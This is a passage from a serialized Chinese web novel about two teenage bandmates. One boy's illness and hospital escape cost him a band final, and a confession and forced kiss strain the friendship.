消息发出去长长一条,把屏幕染成一片绿,纪羽又胆怯起来,把手机倒扣在胸前,侧身蜷缩着等待审判。 等待向来格外漫长。 一个未知的结果尤其折磨人,上台前没能等来贝斯手的承风或许比他现在还要焦灼、不安。 想到这儿,纪羽又觉得自己是不能被原谅的那一类了。 他掀开被子坐起来,端端正正地挺直腰背,决定以最诚恳端正的态度重新等待。 背绷得太紧了,有点痛。 屏幕闪烁,有新消息提醒,纪羽立刻忽略了这无关紧要的小事,翻过手机点开锁屏。 是运营商公众号的智能通知,提醒他及时缴费,否则有停机风险。 一点都不智能! 纪羽冷着一张脸点进缴费链接,给自己充了十块钱,给乐队的其他三个人各充了五十话费。 他退出充值界面,群聊里仍旧只有他发出的那条消息,还没有人回应。 纪羽很讨厌聊天框里最后一条消息是自己发的,要求贺思钧必须回应他每条消息内容,所以无论在哪里,他的消息后边都会跟一条贺思钧的消息。 现在怎么不回了,不是说喜欢他吗?纪羽无视右上角2:29的时间,点进和贺思钧的聊天界面。 [7月3日,15:17] 【雀:我要吃雪糕,要荔枝的,其他人随便。老麦说他请客,你给自己也买一支!】 【J:好,我知道了。】 [7月4日,8:04] 【J:我到了,在门口的树后面。】 【雀:马上!】 [7月10日,23:01] 【J撤回了一条消息】 [7月16日,4:24] 【J:纪羽,回我消息。你的另一个号把我删了。】 [7月16日,9:45] 【J:你不见我了吗?】 [8月21日,3:56] 【J撤回了一条消息】 【J撤回了一条消息】 【J撤回了一条消息】 纪羽来来回回拉了几遍聊天记录,也没从贺思钧发的消息里品出一点粉红气息来。 贺思钧真的是喜欢他吗? 纪羽想起几个小时前不断吞咬啃噬的吻,嘴巴又胀痛起来,神经末梢放着火花,让心脏的跳动传遍四肢,也让他面部一阵阵发麻。 纪羽把这种感受归结为恐惧,贺思钧圈着他哪儿都逃不了,与其说是在亲他,不如说是在吃他。 本能让纪羽尽可能顺从,就像动物遇到大型捕食者会不假思索地装死,纪羽暂时屏蔽了所有强烈的情绪,没有做出激烈的反抗,或许这被贺思钧视作另一种意义上的回应。 他怎么没有立刻拒绝呢?纪羽跑进浴室,用沾水的毛巾盖在嘴巴上,湿润的触感反倒让他惊慌,毛巾被砸进水池里。 纪羽一定是会拒绝他的,他没有喜欢上贺思钧的任何理由。 贺思钧难道不清楚吗,还是他更狡猾,希望用这场告白来转移注意力? 如果真的是这样,那纪羽并没有中了他的圈套,他没有被朋友间一个吻吓到,他有条不紊地做了他应该做的事,尽可能挽救他岌岌可危的梦想。 贺思钧用一个惊吓的吻换走了他的贝斯,用他的秘密捆住他的思维,纪羽要和他算的账,竟然还要排到拒绝告白这事的后面。 纪羽暗自心惊,贺思钧太聪明了,至少应该比他想的要聪明得多。 假如贺思钧真的像他所表现的那样喜欢他,那怎么会不每天给他发消息乞求他的原谅呢? 相反,他说自己没有错,还反过来恐吓他,用翻墙爬楼这种方式逼自己见他! 甚至在说定保持距离后贺思钧仍然死乞白赖地跟着他,什么学习互助,都是借口,说不定就是他专门搞的鬼。 贺思钧的表白那么仓促、突然,连一点像样的礼物也没有,就靠他一张嘴,就让纪羽陷入这么被动的局面中。 这怎么能是喜欢呢,纪羽绝对不会,也不想回应它。 难道只允许贺思钧自私地共享秘密,把喜欢轻易地抛出来,而不允许纪羽也自私地袖手旁观吗? 绝对不行。 纪羽看着镜子里的自己,暗下决心,绝不能,绝不能让贺思钧得逞。 在贺思钧能为他嘴里的喜欢负起责任前,纪羽不会给他任何回答。 他要让贺思钧也体会到焦灼不安的滋味。 纪羽回到床上,继续他的等待。 贝旬还醒着,却不回他的消息,兴许是突然有了更重要的事,也可能是不想做第一个回应他的人。 纪羽只好暂时把手机放到一边,躺下来。 再过不到四小时,他就该起床去上课。 他或许应该想一想,怎么在不影响课程的情况下重新捡起练习,要拿出自己的决心和实力来。 再上一天课,他就能放假一天,然后是八天的课程,他会有一个国庆假期,足足有四天。 噢,在这之间他还要过一个生日,妈妈说她会提前一天赶回来,那几天他一定是没时间做其他事的。 所以只有国庆假期有空闲,可国庆后返校的第二天,就是十校联考,他这段时间很努力,一定能进步一百名! 所以还得留出时间复习…… 纪羽算来算去,只觉得时间太少太少,他像被曝晒过的海绵,再挤不出一丁点水来。 要不起得更早一点,或者睡得晚一点,只要避开纪律。 不对,他应该在这之前买一个新贝斯。 定制会花很多时间,他应该去挑选成品,但需要时间磨合。 时间时间,纪羽太需要更多时间了,他甚至觉得不能再躺下去,应该立刻做点什么,在群聊有人回复前他就该做好所有准备。 他果然和贺思钧不一样,他考虑了那么多东西,而贺思钧居然还有时间想他的春/梦! 只有不够着急的人才有时间去谈情情爱爱,纪羽没有这个兴致,他注定要比贺思钧更成功了! 不过,他会做好吗? 纪羽不知道。 老麦说的对,他们都有自己的事要做,人人都要过自己的生活。 但总会有挽救的方法,玻璃碎了也可以重熔再铸,没道理他们都还年轻就要四分五裂地各奔东西。 纪羽有心想出一个绝妙的解决方案,但脑袋却越来越沉重,思绪慢慢飘远。 睫毛垂落的下一秒,一条新消息从手机屏幕上弹出- 数个小时前。 贺思钧提着琴盒回到了家。 乔青燕听到声从楼梯上下来。 “回来了,这琴盒小羽不是拿走了?睡前少喝点水!” 一杯水几秒内见了底,贺思钧又拿着杯子去接自来水。 “还没说开?”乔青燕看他的表情,没看出什么门道,“有些事你该让就让,别只知道跟人死犟,和你爸一个样儿。” 又灌下一杯凉透的生水,贺思钧默了会儿才开口说了进门的第一句话:“妈,我和爸不一样。” 乔青燕只当他把话听进去了,笑笑:“是,你比你爸聪明多了,他读书的时候……” “我先上去了。”贺思钧打断她,提着琴盒上了楼。 “不听算咯,瓜娃子。”乔青燕和贺泰安青梅竹马,每次说起以前的事都止不住话头,乔青燕只当贺思钧是听腻了,没往别处想,熄了灯后也回房休息去。 房间内没开灯,水声却不断,贺思钧将头低在水池下冲洗,水流顺着小臂流到手肘,滴落在地。 纪羽的气味仍然洗不去,在唇齿间萦绕。 他身上没有浓重的留香,但气息似乎伴随着唇瓣相贴而传递,贺思钧不断地在回忆中重复着带有强迫性质的拥吻。 在不间断的重复中,残留的触感逐渐失真。 贺思钧的焦躁无处可解。 直觉告诉他,他做了一个极其错误的决定。 他不该现在对纪羽坦白,他完全弄错了次序,不仅搅乱了节奏,也让事态变得不可挽回。 他方寸大乱。 但细究起来,过错并不在今天的某一步上。 夜深,城市陷入安眠。 贺思钧换了身衣服,离开家,走入夜色之中。 夜风裹着露水,凉意顺着衣角爬上眉梢,贺思钧反常地清醒。 纪羽一定会拒绝他。 不只是因为他没有预见变故,做好防备,更因为纪羽没有做好准备。 他用一个混乱的方式试图解决纪羽混乱的情绪。 贺思钧走到纪家时已是凌晨,院门紧闭,纪羽房间的灯光也已熄了。 树梢轻轻晃动,露珠从宽大的叶片上滚落,贺思钧被砸了个正着,身上似乎也沾染了柚叶的清香- 两个月前。 枝叶间的果实还不大明显,又青又小,不仔细辨别根本瞧不出来。 七月的早上已是烈日灼灼,贺思钧站在院门外的柚子树下乘凉,仰着头看树冠中结出的小柚子。 他刚给纪羽发了消息,但时间还早,纪羽还有空闲慢慢来。 纪羽不爱吃柚子,但每回秋冬交际,柚皮由青转黄,他就要做第一个摘果子的人。 从前是徐梁把他扛在肩头,后来是纪律掐着他腋下把他举起来,再后来贺思钧和他一起做了个小梯子,纪羽不敢爬,又不肯下来,贺思钧就推着他的屁股让他迈腿。 除却柚子丰收的时段,纪羽其他时候是不太关心这棵树的。 贺思钧听说,要让果子长得更好,就得在它们还没成熟的时候,预先剔除掉品相不好的,只留最具有价值的。 但要说服纪羽摘下那些病果小果,是一件难事。 纪羽出门的速度比以往更慢,持续升温的天气里他穿着长袖长裤,露出来的皮肤在日光下白得晃眼。 或许是今天日子特殊,纪羽的脸上生出激动的血色,像白桃上的红晕。 他把包丢给贺思钧,就去摸贺思钧背着的琴盒:“出门的时候没让干爸干妈发现吧?还好这几天纪律不在,要不然他又要问东问西了。” “没有,我出门早,不会被发现。” “那就好,干妈很容易说漏嘴的。”纪羽抱走了他的琴盒,边走边和贺思钧畅想,“你说我们今天要是得了奖,纪律知道了一定会被气死!你知道他上次说我写的字是怎么说的吗?” “很好看。” “没让你评价,让你猜呀!” 贺思钧顿了一顿,还是说:“我想不到,你告诉我吧。” 纪羽挑眉,模仿着纪律傲慢且充满偏见的语气:“纪羽,你确定要听实话?” 纪羽抬眼示意,贺思钧配合地应声:“嗯。” “你的书法作品市价超过两位数就属于洗钱。” 纪羽走在里侧的树荫底,拽着贺思钧的包带:“他就是不想让我高兴,我以后什么都不想跟他说了。” “那也要看情况……”纪羽瞪他,贺思钧又转变口风,“是你哥不懂你,他活该。” 纪羽对他的用词很满意:“对嘛,你就得跟着我多聊天,别整天和打报告似的,咱们俩天天见面,你得学点我的好。” 两人走出小区,正看见公交车歘地开过,纪羽该省省该花花,忙招呼贺思钧:“快点快点快点,这班车到得最快……” 他才迈开步子,膝盖却像锁住了似的,人直挺挺向前倾倒,贺思钧眼疾手快一把将他捞到自己身前:“怎么了?” 纪羽表情空白了一瞬,抬手揉了揉脸,面色如常:“没事啊,我最近长个子,腿抽筋了。” 他站直身子,用力拉了一把贺思钧:“快走,早点去早点彩排。” 贺思钧只好一手拎着琴盒,一手拎着纪羽追车。 坏消息是没追到,好消息是他们看错车了。 “你身上很烫。”贺思钧把纪羽放下来,纪羽没好意思和老太太挤长椅,靠在站牌上:“太阳太烫了,我穿黑的当然吸热了,真没常识。” “有灰。”纪羽的指责无伤大雅,贺思钧并不放在心上,“下次出门打伞吧。” “你撑还是我撑?” “个子高的撑伞。” “切。” 贺思钧垂眼,看到纪羽撇嘴,初夏季节,太阳越悬越高,日光蛰得他眯着眼,就算是做着这种表情,纪羽也显出别样的少年气,眼睛一眨就换了副表情。 贺思钧偏身替他挡了光,他就缓和了面色,赞赏地说:“这还差不多。” 车来了,一声声老年卡滴声后,车里已没了空座,两人站到后门边把着扶手。 “中午我不想吃盒饭了,我们去买粉丝汤吃。” 纪羽好像很难维持平衡,随着车子转弯前倒后倾,摇摇晃晃。 “你怎么不回话。” 纪羽的眼睛很亮,空调风把他柔软的头发吹得前后倒伏,露出通红的耳朵。 “我们去买?”贺思钧抬手要拉住纪羽。 “好吧,你去买,”纪羽攥住贺思钧的手臂,手心肉绵软,指节冰凉,“不过你可以给自己多加一份牛肉,我报销。” 贺思钧没有作声,纪羽当他默认,偏过头去看窗外的风景。 “车辆即将到站,下一站是毛铺路站,请下车的乘客带好随身物品,从后门下车……” 纪羽瞥到有人抬起屁股才要扯着贺思钧过去,却被贺思钧搂着腰一提溜下了车。 车门关上,纪羽被公交起步扬起的热浪扑了一脸,表情空白的脸上升起一点怒意:“没到站呢,你在这下车干什么?” “去医院。” 贺思钧的手掌钳着他的胳膊,纪羽无论如何也挣脱不开,滚烫的体温在薄薄的布料下蔓延,驱散了最后一点凉意。 纪羽心惊贺思钧突如其来的敏锐,比赛的决心压过了心底升腾的不安,他仍然挣扎着说道: “我不去,我早上吃过药了,马上就会好,去什么医院?” 贺思钧招手拦车,充耳不闻:“什么时候起烧的,昨天排练结束,还是更早一点?” 纪羽掐他胳膊肘的软肉、拧他的手腕、用脑袋撞他,还是挣脱不开,累得气喘吁吁,又转了语调:“没事的,我出门前量过体温了,不是很高,家里的退烧药很好用的,很快就会降下来了,所以我才没告诉你。待会我多喝点水就好了,不要动不动就去医院,给医护人员添麻烦多不好……” 他可怜巴巴地哀求、服软,贺思钧还是不为所动,强硬地押他上了车。 “去演播中心,师——” 贺思钧用手掌盖住纪羽的嘴巴,对司机说道:“去最近的医院。” 喷吐的热气打在手心,贺思钧很快出了汗,纪羽瞪着他,试图张嘴咬他。 但手掌盖住了他下半张脸,连下巴也受钳制,他只好转而用手去抓挠,贺思钧不得不用另一只手镇压他。 一时间战况很激烈,司机频频向后视镜看去。 纪羽很快就没了力气,贺思钧松了力道,想了想仍是安抚他道:“时间还早,检查过没问题我们还是能赶去,彩排我会通知他们请假,你已经排练过很多次了,这差只一次很难有差错。” “不会有差错。”纪羽加重语气重复,修剪得极短的指甲在贺思钧手臂上留下几道抓痕,“不管怎么样,我一定要参加今晚的决赛。” 贺思钧没有承诺他,而是说:“医生说了才算。” 节假日,医院的急诊也要排队,纪羽靠坐在等候区的长椅上,鬓发湿了一层,眼睛半睁半闭,贺思钧打了水回来,他已经在昏厥的边缘。 贺思钧手一碰到他的肩头,他就自觉地倒了过去。 “纪羽?” 纪羽没有回答,头向后倒去,手臂软绵地垂下。 因为这突然的变故,场面一时变得慌乱起来,护士叫来了推床,贺思钧被挤到一边,脚步声一连串地响起,纪羽被接上各种检测装置,不清楚是哪项指标不合格,装置发出尖锐的响声。 纪羽要是醒着一定会吓一跳。 贺思钧向急救护士说明了纪羽的过往病史,然后就去通知纪律,电话没接通,纪律确实很忙,于是他转电话给韩姨,让她收拾纪羽的东西来医院,并给徐梁和纪泽兰去了电话。 时间太紧太急,他差点忘了给老麦发消息,告知他纪羽将缺席演出前的彩排。 高烧昏迷虽不常见,但纪羽算不上十分健康,或许并没有其他并发症,只是他体质太弱精神紧绷,一时松懈下才会不省人事。 总之,一切在结果出来之前还没到最坏的情况。 贺思钧只觉得自己没等多久,就又见到了纪羽,这是个好兆头。 医生把他的裤腿剪了,露出两截小腿,紫癜从脚踝爬到腿肚,印迹深浅不一,还有持续向上蔓延的迹象,表皮还有几道红痕,和贺思钧胳膊上的抓痕很相似,但更严重,条条纵纵叠在一起,几乎要渗出血来。 纪羽下巴抵着被子,看上去睡得很深,脸被急诊室灯光照得苍白,眼下淡淡的青影。 贺思钧进来的时候看到护士才给他抽了血,一眼看过去差不多有十管,贺思钧走过去蹲下又给他按了按针眼。 过了一会儿医生来问家属有没有到,贺思钧说没有,还反过来问能不能转院。医生给了他一个严肃的冷脸,说:“你觉得现在可以吗?” 贺思钧说:“我不知道,我不是医生。” 医生对他呵呵笑两声,让他给纪羽擦擦身上降温,等会可以先去办理缴费,最重要的是尽快通知其他人来。 贺思钧记下了,又问医生人什么时候能醒。 医生说,晚点吧,这谁摸得准。 纪羽在韩姨和贺思钧的说话声里醒来,他已经转到了病房里,涣散失焦的双眼瞬间清明,一下子坐起身:“贺思钧!” 贺思钧和韩姨围过来,韩姨唠唠叨叨地开始说话,纪羽头晕目眩,转头看向贺思钧:“我的琴呢,现在什么时候了?” 韩姨听到了后半句,怜爱地把他额前的碎发向后捋,说道:“太阳刚落山呢。你哥刚下飞机,在高速上,他马上就到了,别怕啊。” 纪羽脑袋嗡地一声,被这个消息撞得七荤八素,他撑着音量说道:“韩姨,我想吃饭,你帮我去买紫薯包吃好不好?” 医院里有配餐,韩姨也煮了粥,但纪羽白着一张脸开口要吃的,韩姨哪里有不应的。 “哎,韩姨知道附近有一家做得干净又好吃,现在就去买啊。” 听着韩姨的脚步声越走越远,纪羽飞速拔了针挪着腿要从床上下来:“从这儿过去打车要多久?我的衣服呢,你把我的包拿过来我现在换好就走,贺思钧,你愣着干嘛?” 贺思钧并没有表现出和他一样的迫切,冷然的面色让他看起来不近人情。 纪羽看着他摁响了床头的呼叫铃。 纪羽心口抖了一下,哑着嗓子问他:“你反悔了?” 贺思钧托着他的腿弯把他向床中央抱,纪羽想踢他,腿却像坠了秤砣似的难以动作,脚踝明显肿胀,大量暗红瘀点融合成片,几乎覆盖了小腿。 纪羽瞳孔微缩,用夹杂着一点害怕的语气说道:“早上没有这么严重……” “那你现在知道情况了。” 贺思钧拉起被子重新遮盖纪羽的腿面:“你早就该和我说。” “我说了之前没有那么严重,我怎么会知道会发展成现在这样?”纪羽头痛欲裂,眼前模糊的光影切割着贺思钧的面孔,他当然不希望发生这种事,“可能是昨晚没睡好,我吃过药以为很快就能好,这只是一件小事。” 贺思钧突然不可理喻地咬文嚼字起来:“任何事在发展到严重前,都是小事,你进医院前这段时间都该有征兆,我应该早点发现。” “行了!” 护士推着护理车进来,被剑拔弩张的氛围吓了一跳,手脚麻利地重新为纪羽扎上针,测过耳温后又退了出去。 纪羽声音低低的:“现在说这些有用吗,你带我出去,其他人还在等我。” 贺思钧站在床边,俯视着他:“纪羽,你分得清轻重吗?” 枕头飞到了他脸上,然后是杯子。 纪羽刚醒来,手脚虚软无力,眼前一阵一阵发暗,指尖止不住地发抖,他蜷手握紧:“贺思钧!你别给我装相,你知道我们练习了多久,你也在场,你现在说让我分清轻重,你发什么疯!” “我会和他们说明情况。” “你敢!”纪羽彻底恼火,“你敢说就再也别见我!” 贺思钧看到他眼底迅速扩张的瞳孔,自己的身影清晰可见。 “你今天哪儿都去不了。” “你威胁我?” “我只是在告诉你事实。今晚纪律会安排你转院,你的出血点扩散得太快了,需要专人看护你,记录你的身体情况为你制定医疗方案。” 等纪律来了,纪羽怕是真的插翅难逃,他不得不把希望再次寄托在贺思钧身上。 “你送我过去,我只要上台就好,演出结束我就马上回来,你看着我,我哪儿都不会去,就这一次,好不好?” 纪羽转脸就换了神情,上身前倾去拉贺思钧的衣角,眉头微微压下,眼睛红着,他乞求贺思钧会理解他,会体谅他的不安、焦急、期盼,义无反顾地站在他的一边,之后发生什么都不重要,他只要现在的结果是好的。 “这件事没有你想象得那么轻松。就算你去了,你说不定也会晕在台上,你不能保证任何事。” 纪羽看不到自己的样子,贺思钧却看得清楚分明,别说赶去演播中心,纪羽连独立站几分钟都是问题。 他像深秋里枝干上摇摇欲坠的枯叶,随便一阵风来,就会落在地上摔得粉碎。 “他们会理解你,这只是一场普通的演出,你们以后还会再有。” 纪羽的眼里掉下一滴眼泪,顺着脸颊、脖颈淌进衣领,消失得无影无踪。 “我又不要他们的理解……我要和他们一起表演…只有这个是重要的……” 要迈向以后的过程里还有好多好多个现在,他要怎么跳过这个让他难堪、软弱无力的现在,直接落到以后呢。 他要奖杯和掌声,他想要一段完美的值得永久回忆的经历,不要有任何人的干涉,即便是他自己,也不要成为那个变故。 脱离了闪耀的聚光灯,他只能做回普通的不能再普通的纪羽了。 甚至他还可能成为一个可恶的背信小人。 虽然他已经对乐队的其他人撒了很多谎,但那充其量是小小的隐瞒,不能和“临阵脱逃”相比。 “我不会有事的,我保证,我难道不能为我自己保证吗?”纪羽喉头紧缩,“你要相信我,你要帮我。” 贺思钧看了他很久,纪羽心底的希望在他的注视下重新燃起,烧得越来越旺。 “好。如果你能自己下床走到门口,我就相信你。” 纪羽大喜过望,掀开被子试探着将脚落到地上。 刺痛一瞬间袭来,骨骼神经像彻底与皮肉剥离,小腿沉重酸软,每一寸都像被针扎过上万次。一觉醒来,原本可以忍受的钝痛似乎也脱离了掌控。 纪羽茫然地脱力跌进贺思钧怀里,贺思钧把他抱回床上。 “医生说,你接下来一周都要卧床,近几个月也不能再有任何剧烈运动。” 似乎事已成定局,贺思钧已经自然地转了话题:“要不要看电影,护士在你睡着期间教了我怎么用这里的电视。” “你可以租轮椅把我推过去,还有时间,贺思钧,你帮我,我不能让承风没有贝斯手。” 贺思钧止了动作,转过脸,语气平淡道:“我已经找了人替你。” 话音落下,纪羽脸上一片空白:“你说什么?” “你可以安心待着,承风也有了替补的贝斯手,这是最好的解决方案。” 哐当一声响,床头的保温壶被打翻在地,热粥汩汩淌了一地,纪羽趴在床头剧烈干呕。 贺思钧又叫了护士来,一同进来的还有几个医生,把纪羽围在中间问情况。 纪羽一句话也不答,脸色惨白,精神恍惚。 医生只好把贺思钧叫出去谈话。 病房暂时空了下来。 这是个好时机。 纪羽环顾四周,不知从哪儿的力气,撑着他起身。 贺思钧藏东西的本事很差,纪羽找到了他的包。 他把演出用的衣服裤子套在外面,口袋里还有一些现金。 因为关节肿胀,把脚塞进鞋子里的感受让他想起削去脚后跟也要穿上水晶鞋的童话故事。 他动作很快,大概只花了不到几十秒。 纪羽屏住呼吸,探头向门外看,大概是命运不会让他彻底失去希望,贺思钧被医生拉到护士台去了,而另一侧方向的墙壁上,紧急出口的绿色大字鲜明醒目。 纪羽从安全通道一路跑了下去,在医院门口幸运地跳上了刚下客的出租车。 “去……去演播中心,开最快!”纪羽把钱全都塞到主驾驶,获得了弹射起步。 心跳好像跳出胸膛在车厢里放大再放大,纪羽眼前五光十色,他已经感觉不到痛,只是身体很沉,但精神却亢奋到极致。 他没有拿到他的贝斯,背着它跑太显眼,也太重了,手机应该在贺思钧身上,纪羽寄希望于主办方有备用的贝斯或是其他人愿意暂时借用,而老麦会相信他一定会到场尽可能拖延时间。 纪羽满怀希望奔赴他的使命—— 作者有话说:宝宝…… 第24章 病房内阒无一人, 风将窗帘吹得上下翩飞。 “欸!” 护士向后踉跄一步,扶住门框站稳,方才还在她身前的年轻人衣角已掠过走廊尽头。 声控灯接连亮起, 脚步声在空荡的回形楼道紧促而急迫。 纪羽并不在楼道里。 贺思钧一路飞驰下楼,住院楼下人群来来往往, 皆是结伴而行。像纪羽这样行动不便的年轻人混在其中很好辨认。 但这里没有他。 只是几句话的工夫,他能跑到哪里去? 他还跑什么? 直到站到街边拦下车,贺思钧仍然不肯相信纪羽拖着腿跑了出来。 热汗从额头滚落, 洇湿领口, 小腿因突然发力而酸胀紧绷。 纪羽难道感受不到痛? 他曾经听到九岁的纪羽躺在病床上,对着纪律发脾气说:“就是很痛啊!我不要我的腿了, 你把它锯掉好了, 给我装一个轮滑的,我跑得远远的再也不回来看你了!” 纪羽没能从纪律手底下跑脱, 他太怕痛了, 有很长一段时间他甚至都不肯从床上下来,贺思钧放学来看他, 他才会摇摇晃晃地牵着贺思钧的手到沙发上玩一会儿。 纪羽有什么非去不可的理由, 能比他自身更重要? 贺思钧实在想不通。 贺思钧给纪羽播去电话,漫长的铃声后提示无人接听, 他才从自己口袋里摸到纪羽的手机。 开了静音,没声音。 许多消息纷乱地跳出屏幕, 很吵, 右上角电量跳动显示即将关机。 【辽光:人呢?一帮子人都在等你!】 等什么呢, 这段路程再这么赶也已经来不及了。 纪羽没赶上上台。 贺思钧轻易地在观众席的边缘发现了他。 宽大的外套罩着他,看不出他的孱弱,迷幻的灯光落在他黯然的眉眼, 苍白、沉抑。 音乐声震耳欲聋,不是个说话的好地方,贺思钧贴上他的手背,湿冷,发着抖。 “走吧,韩姨给我打了电话,问你在哪,你哥也快到了。” 纪羽置若罔闻,连目光都没有偏移一下,直勾勾看着远处灯光下的舞台。 临时加入的贝斯手毫不怯场,台风稳健,指法绚丽,演奏行云流水。 贝壳绿的漆面折射着温润的光,成了最显眼的点缀。 “纪羽——”贺思钧在耳边叫他的名字,声音忽远忽近。 纪羽低下头,视野间不见亮色,只看到他不断颤抖的指尖和越来越近的地面。 “就差一点……” 呢喃淹没在鼓乐声中,声浪层层涌来,耳鸣声一声响过一声,最终归于一片沉寂。 纪羽倒在贺思钧怀里。 贺思钧的世界随之暂停。 掌声似乎犹在背后,像浪花推着贺思钧奔向出口,掌心还残余着潮湿的触感,是纪羽身上的冷汗浸透了衣服- 贺思钧回想起那天,纪羽对他说了很多个谎,如果再仔细地辨别,就能看出他掩藏着的焦躁和恐惧。 如果纪羽没那么害怕,再强硬一点,或许他真的会被他哄骗过去。 在重新赶回医院的路上,纪羽有了呼吸困难的症状,贺思钧像被他艰涩的呼吸掐紧了心脏,此刻他才后知后觉地感受到那不止是对纪羽现状的惊惧。 但他在当时只是简单地将一切反常的情绪归结于:他用错误的方式给了纪羽希望。 假设从他发现异常的开始,直截了当地拒绝纪羽,就不会有纪羽逃跑的变故。 他太放松对纪羽的控制,被纪羽过于充沛且强烈的感情需求影响了判断,才会令事态更加严重。 在没见到纪羽的日子里,他始终坚信这一点。 纪羽没有联系他,是他还没痊愈,寻常人生病时脾气古怪些都再正常不过,更何况是纪羽呢。 任何情绪化的猜测都被排除在外,只要日子继续下去,总会回归稳定。 绕开拦路的巨石,对它妥协,和平相处,相安无事,难道不好? 纪羽似乎也是这么想的。 承风解散的消息,像平静的天空乍然集聚阴云,雷声滚滚,向地面劈下一道惊雷,炸得巨石炸裂,石块迸溅,砸漏了屋顶,堵住了溪流,满地捡不尽的碎石。 慌乱无措的不止纪羽。 但贺思钧本该认为自己会庆幸。 贺思钧望向纪羽的房间,试图从细窄的窗帘缝隙中窥探,从今天起,纪羽会怎么对待他? 直想到清晨求偶的鸟鸣声响,贺思钧也想不出任何一个光明的前景。 后脑勺神经突突跳着,手里还攥着被揉得不成样的柚子叶片,绿色汁液渗进指纹。 像老树不断回旋的年轮。 四季轮转,草木年年换新叶,只有年轮不减反增。 天光熹微,贺思钧顶着一头露水往回赶,站了半夜面上也看不出疲态,反而有一种奇异的清明- 明明是才闭上眼,意识还浮在表面,就到了不得不起床的时候。 纪羽坐在床上,呆愣愣的,大半天都没动弹一下,可仔细看,他又是睁着眼的。 “韩姨敲门叫了你半天,非得让我来叫你才醒?” 纪律拉开窗帘,今早起了雾,光线不强,柔和地淌进屋里,正是在家睡觉的好天气。 “好凉!” 纪律用打湿的毛巾袭击了纪羽。 “是温水。”纪律给他擦了两下脸,看纪羽总算清醒过来,让他自己拿着毛巾,“前两天为了上学和我闹,今天又不想去了?” 纪羽两手捧着毛巾,还有点晕乎,把脸扎进毛巾里左右摇头,就当是擦脸了。 “去的,”纪羽埋在柔软的毛巾里,又有点困了,声音低下去,“我就是…有点…困……” “张嘴。” 纪律把毛巾抽走了,皱着眉在他嘴里塞了个体温计。 “唔唔。”纪羽不好开口,眼睛瞥都不瞥,手一甩,唰地一把掀开被子,露出腿面以示清白。 他最近可注意了,什么淤点根本没机会多长。 “长了那么多,你又跑去参加体育课了?” 哪有多……纪羽睁开眼一看,二四六七八…… 没道理呀,他最近除了吃饭放学腿都没多迈一步,他每天都过一样的日子,哪有什么特别的事……!。 …… 昨天的记忆乍然回笼,纪羽面色白了又红,红了又青,瞧着既生气又伤心又冷酷。 纪律看他这样,脸色也变得越发不好看。 每当他看不懂纪羽情绪的时候,就意味着有他不知道的事发生了,这件事十之八九不是好事。 联想到昨晚纪羽不知从哪儿学来呛声的话,纪律声音骤沉:“你最近究竟干什么去了?” 他还没真动火,纪羽那边却是嘴巴向下一撇,突然跑进浴室把门重重关上。 “……”纪律跟过去,敲门,门锁立刻落下,防止他进去。 那天的暴雨仍让纪律心有余悸,唯恐纪羽雷雨转阴雨,躲在里面悄没声儿地哭得喘不上气。 “你出来我们好好说,这段时间有没有和校外的人接触?” “……” 纪羽越是闷不吭声,越让纪律心里没底。 别人是越长越稳重,不叫人操心,纪羽是越长越回去,哭缠的本事和他刚出生时有得一拼。 稍有不如意就哭个没完没了。 纪律回想今一早他说过的话,都很正常,不至于叫纪羽再向他大发雷霆。 “纪羽,体温计时间到了,拿出来我看看,我没有要对你发火,你先把门打开。” 门打开了一条缝,只够把体温计递出来,纪律刚握到手上,门缝瞬间合上。 “十五分钟下去。” 纪羽的声音从门后透出,语气平常,体温计上的数值也很正常。 纪律心有疑虑,但也没再说什么,把纪羽的书包收好离开了房间。 浴室里,纪羽压下险些被纪律发现的慌乱,捧着电量不足的手机,一遍又一遍点开屏幕看那条消息。 【贝旬:我知道。】 老麦依旧没有发言,辽光似乎还没醒来,群聊里只有贝旬的那条答复。 没有对他的行为表态,只是对纪羽的坦白说了一句,他知道。 贝旬早就知道自己在骗他们了? 纪羽小心翼翼地发出询问的消息。 贝旬这次回得很快,像是没睡:【上节目前签合同,我看到了。贺其实是你哥?】 纪羽还差几个月成年,合同签订很麻烦,他本想借纪律身份一用,但长了眼睛的人一眼就能看出他们俩的区别,无奈之下,纪羽自个儿仿了纪泽兰的签名,让贺思钧戴着口罩临时扮演了一下纪律糊弄过去。 联系方式也是填的贺思钧的。 他还向节目组千叮咛万嘱咐,不可以称呼和标注他的真实姓名,没想到从一开始就被贝旬揭了底。 【不是,他只是帮我。】 【贝旬:嗯。】 纪羽还等着他说更多,比如他究竟是怎么看到的,又对他有什么看法,那个临时顶上的贝斯手是谁,有没有留下名字,都被一口堵死。 什么都问不出来。 也问不出口。 忐忑、愧疚与沉闷的心事被拧成一个纸团,哗啦地丢出去,落在泥泞的水坑里。 不会有人想捡起它,看看里面究竟写了什么。 手机彻底关机,黑色屏幕上映出纪羽茫然若失的脸。 知道这些还会有用吗,都已经发生了,他怎么在一开始不去追问,等到彼此都消解了情绪,才自顾自地开始解决呢? 纪羽的心绪千转百回,不知道情绪该落在哪个点才算合适。 还好嘴巴的肿胀已经消了,他还可以若无其事地到学校里去,上课读书,做他这个年纪应该做的事,过他的生活。 没有激烈的争吵、不撕破脸皮,是接近成人的新体会。 只有还年轻的贺思钧单方面地坚持达成中学结束前的早恋成就,居然在学校里向他递了情书—— 作者有话说:一只困得左右大摆的小鸡挺起胸脯:我已经是大人了,我会成熟地解决问题! 周三也是零点更新哦,周四要上一个很重要的榜所以推迟到23:00更新,过了这两天之后就会恢复至20:00更新,谢谢大家理解。 第25章 很平常的早晨, 乏味,无聊。 纪羽还有点困。 好吧,不是一点, 是很多。 老师说的话左耳朵进,右耳朵出, 纪羽手掌撑着脸,放空大脑,思维随心所欲地游走。 知识点一条都记不起来, 纪羽想到初中时在天桥底下卖艺的贝斯手, 想到第一次弹贝斯指头磨出水泡钻心的疼,又想老麦揣着兜向他走来, 像□□, 结果开口夸了他一句:贝斯弹得不错。 记忆的角落里还总有个贺思钧。 那个青涩的吻又被想起来,隔了一夜, 纪羽竟然不太能记起其中的细节。 他好像一直紧紧闭着嘴, 咬着牙关,想让贺思钧知难而退。 贺思钧不断地咬他啃他, 把他吃进嘴里, 纪羽不敢张嘴,生怕舌头也被贺思钧叼住, 咽进肚子。 什么令行禁止,纪羽对贺思钧说停止, 贺思钧依旧我行我素。 亲他、跟踪他、无时无刻不在盯着他。 纪羽向右手边丢了根笔, 没两秒就被后边捡起来放到桌角。 这算什么? 这算什么! 一等到下课, 纪羽就把贺思钧拉了出去。 “上课期间,你不许往我这边看,也不许碰我的东西, 听到没有?” 贺思钧:“下课可以?” 